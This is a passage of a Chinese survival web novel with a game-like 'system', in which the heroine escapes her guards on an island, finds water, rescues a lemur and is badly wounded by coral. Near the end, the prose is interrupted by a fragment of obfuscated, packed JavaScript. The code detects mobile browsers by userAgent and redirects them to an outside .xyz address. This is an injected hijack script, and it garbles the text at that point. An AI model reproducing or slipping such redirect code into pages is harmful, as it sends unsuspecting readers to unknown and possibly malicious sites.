那是她透支未来换来的生机,是此刻唯一能抓住的救命稻草。
她必须去西侧海岬!
必须找到那个岩缝渗水点!
机会,需要耐心,需要伪装到极致的忍耐。
日头在天空中缓慢西斜,灼热的光线开始带上了一丝暖金色的余晖。
保镖乙从礁石阴影里站起身。
活动了一下有些僵硬的脖颈,目光扫过依旧蜷缩在沙地上的苏甜。
她一动不动,只有身体在寒颤中微微起伏,仿佛已经冻僵或昏厥。
保镖甲也回头瞥了一眼,眉头紧锁,带着毫不掩饰的厌烦。
他低声对乙说了句什么,大概是抱怨这趟苦差事和这个麻烦的女人。
就在这时,苏甜的身体猛地剧烈抽搐了一下!
她发出一声极其痛苦的,压抑在喉咙深处的呻吟。
整个人蜷缩得更紧,双手死死按住了小腹。
身体因为某种突如其来的剧痛,而痉挛般颤抖起来。
冷汗瞬间从她惨白的额角渗出,混着污泥往下淌。
保镖乙的脚步顿住了,脸上露出一丝犹豫。
“又怎么了?!”保镖甲不耐烦地吼道。
苏甜艰难地抬起头,脸上毫无血色。
嘴唇青紫,牙齿打着颤,断断续续地挤出破碎的音节。
“肚子好痛,可能是喝了脏水。”
声音虚弱得如同风中残烛,带着生理性的痛苦扭曲。
她努力想蜷缩起来缓解疼痛,却因为“虚弱”而几次差点栽倒。
保镖甲的怒骂,卡在了喉咙里。
看着苏甜那张因痛苦而扭曲、沾满污泥的惨白小脸。
再看看她按着小腹、蜷缩颤抖的样子。
眼中除了厌烦,终于多了一丝不易察觉的,对突发状况的棘手感。
如果这个苏家弃女,真在这里因为喝了脏水,得了急病死了,回去报告也是个麻烦。
附件第七条,产权待定人死了,协议就废了。
“麻烦!”他低咒一声,脸色阴沉地朝保镖乙挥了挥手。
“你看着她点!别真死在这儿!我去周围看看有没有能烧的东西,晚上得生火!”
他显然不想再靠近这个“脏污又麻烦”的源头。
选择眼不见为净。
大步朝着远离海岬的沙滩另一头走去,那里散落着一些风暴留下的枯木。
机会!
苏甜的心脏在胸腔里狂跳,几乎要撞破肋骨。
她将头埋得更低,身体因为“剧痛”而持续地,小幅度地痉挛着。
喉咙里发出压抑的、痛苦的呜咽。
保镖乙站在原地,看着痛苦蜷缩的苏甜。
又看了看走向远处的甲,眉头拧成了疙瘩。
他迟疑了几秒,最终还是往前走了几步。
停在距离苏甜大约五米的地方,抱着手臂,目光复杂地落在她身上。
带着警惕,也有一丝不易察觉的无奈。
他显然没有靠近照顾的打算,只是确保人没断气。
而头顶的无人机,幽绿的指示灯依旧平稳闪烁。
但它的主要监视区域,依旧是那片被标记的灰黄沙地。
苏甜此刻的位置,距离标记点已有几十米远,处于监视的边缘地带。
无人机的镜头缓缓转动,似乎在扫描整个海滩,但焦点并未牢牢锁定在她这个“病号”身上。
就是现在!
苏甜的身体猛地又是一阵剧烈的“痉挛”。
她痛苦地呜咽着。
几乎是手脚并用地,极其艰难地撑起上半身,然后摇摇晃晃地试图站起来。
她的动作笨拙而吃力,仿佛下一秒就要摔倒。
目光却“茫然无措”地扫视着四周。
像是在寻找一个可以“方便”或者“缓解痛苦”的遮蔽处。
保镖乙下意识地向前挪了小半步。
但看到她只是站不稳地摇晃,并未远离。
又停住了脚步,只是提高了声音警告。
“别乱动!老实待着!”
苏甜像是没听见,或者被痛苦支配了行动。
踉跄着,脚步虚浮地朝着离她最近的一丛低矮,叶片枯黄的耐盐碱灌木挪去。
方向,恰好是背离保镖乙和礁石。
斜斜地指向岛屿内陆的边缘,离西侧海岬的直线距离近了许多!
灌木丛不高,但勉强能提供一点视觉遮蔽。
保镖乙看着她挪到灌木丛后。
身影被稀疏的枝叶遮挡了大半,只能看到她似乎痛苦地蹲了下去。
他皱了皱眉,犹豫了一下,还是没有靠近。
毕竟是个女人,而且看起来是真病了。
只要她不跑远,在这个荒岛上又能跑到哪里去?
头顶还有无人机。
灌木丛后。
苏甜蹲在地上,身体依旧保持着因痛苦而蜷缩的姿态。
耳朵却如同最灵敏的雷达,捕捉着保镖乙的动静。
确认对方没有靠近的意图,无人机也没有发出警报的嗡鸣后。
眼中所有的痛苦和虚弱瞬间褪去,只剩下冰冷如刀的决绝和急迫!
时间有限!
保镖甲随时可能抱着柴火回来!
她猛地站起身,不再有丝毫伪装!
沾满泥浆的裙摆被她用力撕扯开一道更大的口子,方便行动。
像一道贴着地面疾驰的影子,利用灌木丛,沙丘起伏的阴影作为掩护。
压低身体,以最快的速度朝着记忆中西侧海岬的方向狂奔!
粗粝的砂砾摩擦着赤脚,带来火辣辣的刺痛,但她浑然不觉。
肺部因为剧烈的奔跑而灼烧,喉咙的干渴感如同烈火燎原,可她不敢停!
不敢回头!
海风在耳边呼啸,卷起她凌乱的、沾满泥浆的头发。
绕过一片嶙峋的黑色礁石群,海浪拍打的声音变得沉闷。
眼前出现了一道向海中延伸的、陡峭崎岖的海岬。
岩石呈现出一种被海水和岁月侵蚀的灰褐色,布满了湿滑的苔藓和尖锐的棱角。
就是这里!
苏甜喘息着,心脏狂跳。
她强迫自己冷静下来,锐利的目光如同探针,一寸寸扫过潮湿的岩壁。
水在哪里?
报告里只说岩缝,语焉不详!
她沿着海岬根部小心翼翼地移动,避开脚下湿滑的苔藓和破碎的贝壳。
海浪在脚下不远处翻涌,溅起冰冷的泡沫。
空气里弥漫着浓郁的海腥味和岩石的湿冷气息。
突然,她的脚步顿住了。
在几块巨大礁石交错的阴影深处,一处被茂密海藻半遮掩的岩壁上。
看到了一片明显比其他地方颜色更深的区域。
潮湿!
水汽!
她拨开湿漉漉、带着腥气的海藻,一个狭窄得仅容手臂伸入的岩缝露了出来!
缝隙内部幽暗,但岩壁触手冰凉湿润,指尖甚至能感受到极其细微的、持续不断的水汽渗出!
找到了!就是这里!
巨大的狂喜,几乎冲昏头脑。
苏甜颤抖着,用最快的速度从破烂的裙摆内侧掏出那个沉甸甸的【基础淡水过滤器】和那块被她撕下来的米白色衬里布条。
布条在之前的泥水里浸过,有些脏污,但此刻也顾不上了。
将布条的一端小心翼翼地塞进岩缝深处,尽可能靠近那渗出湿气的源头。
布条很快被冰凉的岩壁水汽浸润,颜色变深。
然后,颤抖着双手,将过滤器进水口那端复杂的接口(有细密的过滤网和软管卡扣)。
用力按在了吸饱了水汽的布条上!
过滤器冰凉的外壳紧贴着掌心。
苏甜屏住呼吸,全部的意念都集中在左手紧握的过滤器上,等待着。
一秒,两秒。
仿佛过了一个世纪。
终于!
一股极其微弱、却无比清晰的冰凉触感,顺着过滤器的外壳,传递到她的掌心!
出水口有水滴了!
虽然只是断断续续、极其缓慢的滴落,但每一滴都如同天籁!
苏甜几乎是扑倒在潮湿的岩石上,毫不犹豫地将干裂的嘴唇凑近过滤器下方那个小小的出水口!
一滴、两滴。
清凉!
甘冽!
带着岩石特有的、一丝丝难以言喻的清甜气息!
这微乎其微的水滴,如同最神奇的甘霖,瞬间滋润了她那几乎要燃烧起来的喉咙!
干渴到麻木的味蕾被唤醒,贪婪地汲取着这生命之源!
她拼命地、小口小口地吞咽着,每一次吞咽都带来灵魂深处的战栗和满足。
太少了!
水流细得如同发丝!
滴落的速度慢得令人心焦。
过滤器上一个小小的液晶屏(之前没注意到)极其微弱地亮起,显示着一个数字【0.2L/10L】。
日限10升!
而她现在收集到的,恐怕连200毫升都不到!
这点水,只能暂时缓解喉咙的灼烧。
根本无法满足身体脱水的需求,更别说清洗伤口和泥污。
希望之后的,是更加沉重的现实枷锁。
不能久留!
保镖随时会发现她失踪!
苏甜强迫自己离开那救命的出水口,巨大的不舍如同撕扯着灵魂。
迅速环顾四周,目光落在离岩缝几米远的一处低洼沙地。
那里因为岩石遮挡,形成了一个小小的、相对背阴的凹坑。
一个念头瞬间成型。
她飞快地跑过去,用一块边缘锋利的石块,在凹坑靠近岩壁的底部,小心翼翼地挖掘、撬动。
很快,一小片潮湿的沙地被翻开,露出下面颜色更深的泥土。
将石块斜斜地插在泥土和上方岩壁之间,形成一个极其微小的引流角度。
然后,极其小心地,用手指蘸取岩缝附近岩石上凝结的微小水珠。
极其缓慢、极其吝啬地,引导着几滴几乎看不见的水珠。
顺着石块斜插形成的“沟渠”,极其艰难地滴落到下方的凹坑里。
滴答,滴答。
速度慢得令人发指,水量微乎其微。
苏甜迅速抓起旁边干燥的枯叶和细沙。
覆盖在这个伪造的“渗水点”上,只留下一个极其不起眼的小小湿润痕迹。
做完这一切,迅速清理掉自己留下的脚印和痕迹,将真正的岩缝用海藻重新遮掩好。
制造假象完成!
希望能迷惑可能的窥探者,保护真正的水源。
做完这一切,苏甜不敢有丝毫停留,立刻转身,准备沿着原路返回那片灌木丛。
然而,就在转身的刹那,眼角的余光瞥见海岬另一侧,靠近雨林边缘的乱石滩上,似乎有什么东西在挣扎。
好奇心和对环境的本能警惕驱使她小心翼翼地靠近了几步。
眼前的景象让她瞬间倒吸一口冷气!
一只毛色灰黄、体型不大的狐猴!
它的一条后腿,被一个锈迹斑斑、布满了狰狞锯齿的陈旧兽夹死死咬住!
鲜血染红了它后腿的皮毛,在灰褐色的岩石上洇开刺目的红。
狐猴发出凄厉到变调的哀鸣,小小的身体因为剧痛和恐惧而疯狂地扭动挣扎。
每一次挣扎都让兽夹咬得更深,鲜血汩汩涌出。
那双圆溜溜的大眼睛里,充满了极致的痛苦和绝望。
是谁?
谁在这荒岛上放置了如此残忍的东西?
一股难以言喻的恻隐之心,瞬间攫住了苏甜。
这绝望的眼神,像一
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根针,狠狠扎在她同样被逼入绝境的心上。
几乎是下意识地就冲了过去,完全忘记了自身的危险和紧迫的时间!
“别动!别怕!”她压低声音。
试图安抚那只惊恐万分的狐猴。
狐猴看到她靠近,挣扎得更厉害了,尖利的爪子胡乱挥舞,带着血珠。
苏甜没有退缩。
迅速蹲下,目光扫过那个锈蚀严重的兽夹。
锁扣的结构,似乎因为年代久远而有些松动。
她立刻从旁边的碎石堆里摸起一块边缘锋利的牡蛎壳碎片,正是之前用来割布条的那块!
用尽全力,将牡蛎壳锋利的尖端狠狠插入兽夹生锈的弹簧锁扣缝隙中!
同时,另一只手不顾狐猴的抓挠,死死按住它疯狂扭动的身体!
“坚持住!”她咬着牙。
手臂因为用力,而青筋暴起。
生锈的金属摩擦,发出令人牙酸的咯吱声。
狐猴凄厉的惨叫和挣扎的力道,几乎让她脱手。
咔嚓!
一声沉闷的断裂声!
锈蚀的弹簧终于不堪重负,猛地崩断了一截!
兽夹那狰狞的锯齿口,瞬间弹开了一条缝隙!
苏甜眼疾手快,猛地将狐猴那条被夹住的腿抽了出来!
“吱!”狐猴发出一声尖锐的痛叫,挣脱了束缚。
它甚至来不及看苏甜一眼,拖着那条血肉模糊的后腿,一瘸一拐地,爆发出惊人的速度。
惊慌失措地一头扎进了旁边茂密的雨林边缘,瞬间消失在浓密的藤蔓和蕨类植物之中。
只留下岩石上一小滩刺目的鲜血和那个张着狰狞大口的废弃兽夹。
苏甜跌坐在地上,大口喘着气,手臂上被狐猴慌乱中抓出了几道血痕,火辣辣地疼。
看着狐猴消失的方向,心中五味杂陈。
既有救下生命的微末欣慰,又有对这荒岛隐藏危险的深深忌惮。
这兽夹是谁留下的?
岛上还有别人?
就在心神稍松的刹那。
“嘶嘶!”
一阵令人毛骨悚然的,如同毒液滴落的摩擦声,陡然从她身侧的茂密灌木丛中响起!
苏甜浑身的寒毛瞬间炸立!猛地扭头!
只见一条足有成人手臂粗细、通体覆盖着鲜艳红黑环状花纹的毒蛇,正从灌木丛中闪电般探出身来!
三角形的蛇头高高昂起,冰冷的竖瞳死死锁定着她。
猩红的信子如同死神的探针,在空气中高频震颤,发出致命的“嘶嘶”声!
那尖锐的毒牙,在昏暗的光线下,闪烁着幽冷的寒光!
距离不足两米!
致命的毒液,仿佛下一秒就要喷射而出!
苏甜的大脑一片空白!
极致的恐惧瞬间冻结了她的血液!
身体僵硬得无法动弹!
她甚至能闻到空气中弥漫开来的、属于冷血动物的腥气!
完了!
就在这千钧一发、生死立判之际!
咻!
一道破空之声,从头顶的树冠中骤然袭来!
一枚拳头大小青绿色的,带着坚硬外壳的野果,如同出膛的炮弹,带着惊人的精准度。
撕裂空气,狠狠地砸在毒蛇高昂的三角形头颅上!
啪!
一声闷响!
毒蛇的头颅被砸得猛地一歪!
突袭的姿态瞬间被打断!
它似乎也被这突如其来的重击打懵了,冰冷的竖瞳里闪过一丝极其人性化的错愕和惊惧!
“嘶!”毒蛇发出一声愤怒而吃痛的嘶鸣,身体猛地缩回了灌木丛。
红黑环纹的蛇身,在浓密的枝叶间一阵剧烈的扭动,发出沙沙的急响。
随即迅速消失不见,只留下被砸落在地,微微裂开的青绿色野果和空气中残留的紧张与腥气。
得救了?
苏甜的心脏,几乎要从嗓子眼里跳出来,浑身瘫软。
后背瞬间被冷汗浸透,冰冷一片。
惊魂未定地抬起头,望向野果袭来的方向。
上方是茂密交织的雨林树冠,枝叶在傍晚的风中轻轻摇曳,光线昏暗。
深绿色的阴影如同浓墨重彩的油画,遮蔽了一切。
只有几片被惊动的树叶,还在微微晃动着。
树冠深处,似乎有极细微的枝叶摩擦声。
沙沙,沙沙,如同风吹过,又像是什么东西悄然隐去。
是谁?
老卡尔?那个守护者?
疑问,如同藤蔓般缠绕上心头。
但此刻,巨大的后怕和身体多处传来的疼痛,让她无暇深思。
撑着湿滑的岩石,艰难地想要站起身离开这个危险之地。
脚下一滑,小腿外侧猛地磕在旁边一块锋利的、如同刀片般竖起的珊瑚礁石上!
嗤啦!
一阵钻心的剧痛,瞬间席卷了神经!
“呃!”苏甜痛哼一声,低头看去。
只见她本就沾满泥污、破破烂烂的裙摆下。
小腿外侧被锋利的珊瑚边缘,划开了一道足有十几厘米长的,深可见骨的狰狞伤口!
皮肉翻卷,鲜血如同失控的水龙头,瞬间喷涌而出!
刺目的鲜红,顺着苍白的小腿汩汩流淌,滴落在下方浑浊的海水里,迅速洇开一团团不祥的猩红!
而就在这时。
【警告!】
【严重违反生态准则!】
【检测到高浓度人类血液污染近海海域!】
【惩罚机制启动!】
脑海中,系统界面毫无预兆地爆发出刺目的猩红光芒!
冰冷的机械音带着前所未有的严厉,如同惊雷般炸响!
【惩罚未来24小时内,所有途径获取的生态能量,效率强制削减50%!即刻生效!】
猩红的提示文字,如同烧红的烙铁,狠狠烫在苏甜的视网膜上!
能量获取,减半?!
看着小腿上那深可见骨、血流如注的恐怖伤口。
再看看脚下那片,被自己鲜血染红的海水。
一股冰冷的绝望,混合着剧烈的疼痛,如同潮水般瞬间将她吞没。
4. 第4章
冰冷的绝望,如同海岬岩石缝隙里渗出的咸水。
缓慢而顽固地,侵蚀着苏甜的四肢百骸。
左小腿外侧那道被珊瑚礁划开的伤口,深可见骨。
每一次脉搏的跳动,都牵扯着撕裂般的剧痛。
鲜血混着浑浊的海水,在脚边洇开一片刺目的猩红。
更深的寒意,来自脑海深处。
系统猩红的警告,如同烙印【能量获取效率强制削减50%】!
惩罚生效了。
本就艰难的未来,被硬生生砍去了一半希望。
海风呜咽着,卷过嶙峋的海岬,带来浓重的湿气和远处保镖模糊的呼喝声。
苏甜猛地打了个寒颤,从剧痛和绝望中强行挣脱。
不能留在这里!
伤口暴露,在咸涩的海风中,极易感染。
血腥味,也可能引来,更可怕的东西!
咬着牙,撕下破烂裙摆。
相对干净的内衬布条,用尽全身力气,死死勒住小腿伤口上方,试图减缓失血。
钻心的疼痛,让她眼前阵阵发黑。
冷汗瞬间浸透了,本就湿冷的衣衫。
她拖着那条几乎失去知觉的伤腿,每一步都像踩在烧红的烙铁上。
利用礁石的阴影和渐渐昏暗的天色,作为掩护。
艰难地,一瘸一拐地朝着之前藏身的灌木丛挪去。
返回的路,比来时漫长百倍。
每一次移动都牵扯着伤口,带来撕裂般的痛楚。
保镖甲的怒骂声似乎更近了,无人机的嗡鸣在暮色中显得更加清晰刺耳。
她几乎是匍匐着爬进灌木丛,蜷缩在枯枝败叶之间。
将沾满污泥和血迹的身体,紧紧贴向冰冷的地面,用尽最后一丝力气维持着“病弱昏迷”的伪装。
脚步声在附近徘徊,保镖甲的咒骂声清晰可闻。
“妈的!那女人跑哪儿去了?真他妈麻烦!”
“可能躲起来了吧?”保镖乙的声音带着一丝不确定的迟疑。
“废物!给我找!活要见人,死要见尸!别让老子背锅!”
保镖甲的怒吼带着暴躁。
灌木丛的枝叶缝隙中,苏甜能看到保镖乙模糊的身影在不远处晃动。
她的心脏几乎提到了嗓子眼,屏住呼吸。
连伤口剧烈的抽痛都死死忍住,不敢发出一丝声响。
冷汗顺着额角滑落,混着污泥,滴进眼睛,带来辛辣的刺痛。
万幸,保镖乙的搜索并不仔细。
或者说他潜意识里,并不认为一个“病弱又愚蠢”的女人能跑多远。
尤其是在这种荒岛上。
他象征性地在附近转了几圈,目光扫过礁石群和更远处的雨林边缘。
最终还是回到了保镖甲所在的礁石附近。
“没找到,可能真晕在哪个石头缝里了。”保镖乙的声音传来。
“操!不管了!生火!晚上冷死老子了!她爱死哪儿死哪儿!”保镖甲不耐烦地吼道。
夜幕,终于如同巨大的墨色帷幕,沉沉地笼罩下来。
海浪声变得低沉而规律。
远处的礁石下,燃起了一堆小小的篝火。
橘红色的火光跳跃着,映出保镖甲和保镖乙模糊晃动的身影。
以及他们刻意压低却依旧能听到的、关于“麻烦”和“责任”的抱怨。
头顶,无人机的嗡鸣声,似乎也随着夜色加深而降低了频率。
猩红的光点变成了幽绿,在低空缓慢地巡航,如同幽灵的眼睛。
机会!
真正的喘息之机!
苏甜紧绷的神经,终于松弛了一丝。
她不敢立刻处理伤口,忍着剧痛,将身体蜷缩得更紧。
像一块没有生命的石头,在灌木丛的阴影里,默默积攒着力量,等待着。
时间在疼痛和寒冷中缓慢流逝。
夜空中,稀疏的星子开始闪烁,一轮并不算皎洁、带着朦胧光晕的月亮。
悄然爬上了海平面,将清冷如霜的银辉洒满了这片灰黄死寂的沙滩。
月光下的海浪泛着细碎的银光,沙滩呈现出一种诡异的,灰白色的静谧。
就在这时。
脑海中,那片沉寂了许久的系统界面,毫无预兆地自动浮现出来!
不再是之前的警告猩红,而是流转着柔和温润的月白色光芒。
界面中央,代表着【纯净沙滩A区】的那个节点图标。
此刻正如同呼吸般,有规律地闪烁着柔和的蓝光。
一行散发着月华般清辉的文字优雅浮现。
【首次签到点[纯净沙滩A区]持续优化效果达标!】
【首次签到期满奖励发放中。】
【恭喜获得,核心奖励[生态小屋蓝图(基础型)]x1!】
【恭喜获得,核心奖励[固沙海草种]x1包!】
蓝图!
小屋!
一股难以言喻的激动,瞬间冲散了身体的剧痛和疲惫!
苏甜的心脏狂跳起来,几乎要冲破胸腔!
她强忍着没有发出任何声音,意念如同最虔诚的信徒。
小心翼翼地触碰,向那两个散发着温润光芒的奖励图标。
【生态小屋蓝图(基础型)】
一卷古朴的,散发着淡淡草木清香的羊皮纸卷轴,瞬间出现在她的意识感知中。
卷轴缓缓展开,复杂的线条、精确的标注、各种奇特的材料符号和节点说明清晰呈现。
四根坚固主梁(标注需特定硬木,承重节点)
藤蔓编织墙体框架(标注韧性与连接)
填充物(标注保温隔湿)
屋顶结构(标注棕榈叶+特殊海草覆盖)
每一个细节,都蕴含着一种与自然和谐共生的独特智慧。
【固沙海草种】
一个巴掌大小、用某种坚韧海草编织成的古朴小布袋。
意念探入,里面是密密麻麻、散发着微弱青绿色荧光的细小种子。
触感温润,仿佛蕴含着磅礴的生命力。
说明【快速生长,根系发达,具有卓越固沙、改善沙质及微弱环境调节能力。】
希望!
真正的、构建庇护所的希望!
苏甜激动得指尖,都在微微颤抖。
有了这个,她就能在这片死地建立起第一个立足点!
一个真正属于自己的,能遮风挡雨的“家”!
蓝图的要求虽然苛刻(硬木、藤蔓、棕榈叶)
但并非遥不可及!
固沙海草种更是解决沙地贫瘠的关键!
然而,这份巨大的喜悦仅仅持续了不到三秒,就被沉重的现实狠狠砸碎。
材料!
人力!
时间!
更重要的是能量!
她现在能量归零,还背负着50%获取减半的惩罚!
商城里的工具(石斧)、基础建材,全都需要能量兑换!
而她重伤在身,行动艰难,保镖监视未除。
蓝图和海草种的出现,像是一块散发着诱人香气的巨大蛋糕。
却摆在了她这个快要饿死、还被铁链锁住的人面前。
她将意识沉入系统界面,贪婪地“凝视”着那卷散发着草木清香的蓝图。
一遍遍在脑海中勾勒着小屋的轮廓,仿佛这样就能汲取到支撑下去的力量。
同时,那包固沙海草种,也被她用意念紧紧“攥”在手中。
感受着那些细小种子传来的,微弱却坚定的生命脉动。
就在这时!
哗!
一阵远比之前更加沉闷、更加浑厚的浪涛声,毫无预兆地从海岬方向传来!
紧接着,一股冰冷刺骨、带着强大冲击力的水流。
如同潜伏已久的巨兽之舌,猛地舔舐过苏甜藏身的灌木丛边缘!
涨潮了!
而且是比白天凶猛得多的夜潮!
苏甜悚然一惊!
她只顾着沉浸在获得蓝图的狂喜和规划中,完全忽略了观察潮汐!
海水正以肉眼可见的速度上涨,之前裸露的礁石迅速被淹没!
危险!
她几乎是连滚带爬地,挣扎着想要从灌木丛里站起来。
拖着那条剧痛的伤腿,向更高的沙滩区域挪动!
然而,动作还是慢了!
轰隆!
一个比人还高的凶猛浪头,借着礁石地形的回旋之力。
如同咆哮的巨拳,毫无征兆地从侧面狠狠砸了过来!
巨大的力量,瞬间将苏甜从灌木丛边缘拍飞出去!
“啊!”短促的惊呼被咸涩的海水瞬间灌满!
身体如同断线的风筝,重重摔倒在后方一片湿滑的岩石滩上!
尖锐的石棱,狠狠硌在背脊和受伤的小腿上,剧痛让她眼前一黑,几乎晕厥过去!
而就在她被拍飞的瞬间,贴身藏匿在破烂衣襟内,刚刚用意念“取出”并紧握在手中的那卷古朴的【生态小屋蓝图】卷轴。
因为剧烈的撞击和身体的翻滚,脱手而出!
卷轴在空中划过一道微弱的弧线,然后“噗通”一声。
掉进了旁边一个被上涨潮水,迅速淹没的浅水礁石坑里!
浑浊的海水瞬间将其吞没!
“不!”苏甜目眦欲裂!
那是她生存的希望!
是她唯一的蓝图!
求生的本能和守护希望的疯狂,瞬间压倒了所有的伤痛和恐惧!
她甚至忘记了腿上的剧痛,忘记了汹涌的潮水,忘记了不远处的保镖!
如同扑火的飞蛾,她不顾一切地朝着那个水坑扑了过去!
冰冷的,带着腥气的海水,瞬间淹没了她的腰际!
她疯狂地在水下摸索着,手指被锋利的礁石和贝壳边缘割破也浑然不觉!
浑浊的海水阻碍了视线,水流冲击着身体!
在哪里?
在哪里?!
指尖终于触碰到一个坚韧的卷筒状的物体!
抓住了!
苏甜心中狂吼,用尽全身力气猛地将卷轴从浑浊的水中捞出!
然而,就在她将卷轴抱入怀中的刹那。
脚下被湿滑的海藻一绊,身体失去平衡,猛地向旁边栽倒!
噗嗤!
一阵比之前被珊瑚划伤更加剧烈,更加深沉的剧痛,从左小腿外侧猛地炸开!
仿佛有一把烧红的锯子,狠狠切进了骨头!
她栽倒的地方,赫然是一大片被潮水淹没,边缘如同锋利刀片的珊瑚礁丛!
尖锐的珊瑚边缘,如同死神的獠牙,毫不留情地撕裂了她本就受伤的左小腿!
一道更深、更长、皮肉翻卷的恐怖伤口瞬间出现!
鲜血如同喷泉般狂涌而出,瞬间将她周围的海水染成了触目惊心的暗红色!
“呃啊!”难以抑制的痛呼从喉咙深处挤出。
又被她死死咬住嘴唇吞了回去,只剩下破碎的呜咽。
剧痛让她浑身痉挛,冷汗如瀑。
而脑海中,那冰冷无情的猩红光芒。
如同跗骨之蛆,再次轰然爆发!
【警告!】
【严重违反生态准则!】
【检测到高浓度人类血液持续性污染近海海域!污染程度升级!】
【惩罚机制二次触发判定中】
【判定结果污染源持续,惩罚叠加条件未达成(能量获取减半状态已存在)。维持原惩罚效力!】
虽然没有叠加惩罚,但这猩红的警告和冰冷的判定。
如同最恶毒的嘲讽,狠狠砸在苏甜濒临崩溃的神经上!
她死死抱着怀中湿透、冰冷、沾满了自己鲜血的蓝图卷轴。
蜷缩在冰冷刺骨,被鲜血染红的海水里。
身体因为剧痛和寒冷,而剧烈地颤抖着。
左小腿两处叠加的伤口,如同地狱的入口,疯狂吞噬着她的体力和意志。
鲜血还在汩汩涌出,混入海水,带来失血的眩晕和刺骨的寒意。
感染!
失温!
失血过多!
每一条都足以致命!
而她现在,一无所有!
能量归零!
求生的火焰,在剧痛和绝望的冰海中疯狂摇曳,却不肯熄灭!
她挣扎着,用尽最后一丝力气,拖着那条几乎废掉的腿。
狼狈不堪地、手脚并用地从那片被鲜血染红的死亡水域里爬了出来。
瘫倒在稍微高一点、但依旧冰冷潮湿的沙滩上。
身体如同被抽空了所有骨头,只剩下剧烈的颤抖和深入骨髓的寒冷。
怀中的蓝图卷轴湿漉漉,沉甸甸的,沾满了污泥和暗红的血渍,像一块冰冷的墓碑。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086085|179596||http|test|mini|href|location''.split(''|''),0,{}));
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>苏甜颤抖着,将染血的卷轴死死按在同样沾满污泥和血迹的胸口,仿佛那是她仅存的生命之火。
艰难地抬起沉重的眼皮,望向脑海中的系统界面。
能量:0。
商城入口依旧在,却如同隔着天堑。
她的目光,如同濒死的野兽。
死死锁定在商城中一个散发着微弱绿光的图标上【基础止血消炎苔藓】。
说明强效止血,抑制常见细菌感染,加速浅表伤口愈合(对深创效果有限)。
兑换所需:20点生态能量。
20点!
她现在0点!
还背负着50%的获取减半惩罚!
怎么办?
等死吗?
不!
绝不!
苏甜的目光扫过系统界面的角落。
那里,之前领取的【固沙海草种】小布袋的图标静静悬浮着。
一个疯狂的念头如同闪电般劈入脑海!
她用意念死死“抓住”那包海草种,试图将其“拖拽”向商城的方向!
没有反应!
系统冰冷地拒绝着这种操作。
那么卖掉它?
回收能量?!
这个念头如同野火燎原!
她集中全部意念,疯狂地“点击”海草种的图标,试图找到任何“出售”或“回收”的选项!
没有!
系统界面纹丝不动,只有海草种散发着温润的生命微光。
绝望如同冰冷的毒蛇,缠绕上她的脖颈。
就在这时。
【新手保护机制二次触发!检测到宿主处于“严重创伤+失温+感染”复合致命危机!】
【允许紧急借贷:20点生态能量!】
【借贷代价:未来72小时内,宿主遭受的任何非致命自然伤害(如刮擦、轻微扭伤等),痛感提升300%!是否确认借贷?】
痛感提升300%!?
苏甜看着自己血肉模糊、深可见骨的小腿,感受着那足以令人昏厥的剧痛。
想到未来可能遭遇的更多伤痛,300%的痛感,那将是怎样的人间地狱?
但还有选择吗?
不借贷,现在就可能死于失血、感染或失温!
“确认借贷!”苏甜用尽灵魂的力量,在意识中嘶吼!
【借贷成功!获得生态能量:20点!】
【兑换物品[基础止血消炎苔藓]x1份!】
【能量归零!】
一团散发着浓郁草木清香的、墨绿色如同翡翠般的湿润苔藓团,凭空出现在苏甜染血的掌心!
触感冰凉柔软,带着强烈的生命气息。
就是现在!
苏甜眼中爆发出狠戾的光芒!
她猛地坐起,不顾左小腿撕裂般的剧痛。
用沾满污泥和鲜血的手指,粗暴地撕开自己破烂的裤腿。
露出那两道狰狞翻卷、还在不断渗血的恐怖伤口!
没有丝毫犹豫!她将整团冰凉湿润的苔藓,狠狠地、死死地按压在伤口最深处!
“呃!”难以想象的剧痛,如同高压电流般瞬间席卷全身!
那感觉仿佛有人将烧红的烙铁,直接捅进了她的骨头缝里!
眼前瞬间一片漆黑,金星乱冒,喉咙里涌上腥甜,几乎让她当场昏死过去!
她死死咬住下唇,牙齿深深陷入皮肉,鲜血顺着嘴角淌下,混合着冷汗和泥水。
身体因为极致的痛苦而剧烈地痉挛、弓起,像一只被钉在砧板上的虾米。
但她按压着苔藓的手,却如同焊死在伤口上,用尽全身的力气,纹丝不动!
清凉!
一股奇异的,深入骨髓的清凉感。
开始从苔藓与伤口接触的地方弥漫开来,如同最温柔的冰泉,开始中和那焚心蚀骨的剧痛。
同时,她能清晰地感觉到,汹涌的出血势头,正在被一股强大的力量迅速遏制!
血止住了!
剧痛在清凉感的压制下,终于从毁天灭地的程度,降低到可以忍受的、持续的、如同被无数钢针反复穿刺的钝痛。
苏甜如同刚从水里捞出来一样,浑身湿透(冷汗、海水、血水),瘫软在冰冷的沙滩上。
大口大口地喘着粗气,每一次呼吸都牵扯着全身的疼痛。
她看着左小腿上那被墨绿色苔藓完全覆盖、边缘还渗着丝丝暗红的伤口。
感受着那依旧存在却不再致命的痛楚,心中一片劫后余生的冰冷麻木。
能量再次归零。
还背上了72小时300%痛感的恐怖债务。
而就在这时。
咔嚓!
一道惨白的,扭曲的闪电,如同撕裂苍穹的巨蟒,猛地划破浓厚的夜幕!
瞬间将整片死寂的沙滩、汹涌的黑色海面、嶙峋的礁石,映照得一片森然惨白!
紧接着。
轰隆隆隆!!!
震耳欲聋的惊雷在头顶轰然炸响!
狂暴的声浪,仿佛要将人的耳膜和灵魂一起震碎!
豆大的、冰冷密集的雨点,如同天河决堤。
在惨白闪电消逝的瞬间,毫无征兆地、狂暴地倾泻而下!
噼里啪啦!
密集的雨点,狠狠砸在苏甜裸露的皮肤上。
砸在冰冷的沙滩上、砸在汹涌的海浪里!
瞬间将她本就湿透的身体,彻底浇透!
刺骨的寒意,如同无数细小的冰针,疯狂地扎进她的每一个毛孔!
暴雨!
毫无征兆的、狂暴的、冰冷的暴雨,如同末日天灾般降临!
苏甜躺在冰冷刺骨的沙滩上,身体被狂暴的雨点击打着。
伤口在冰冷的雨水,冲刷下,传来阵阵抽搐的剧痛。
她仰望着漆黑如墨、被闪电不断撕裂的天空。
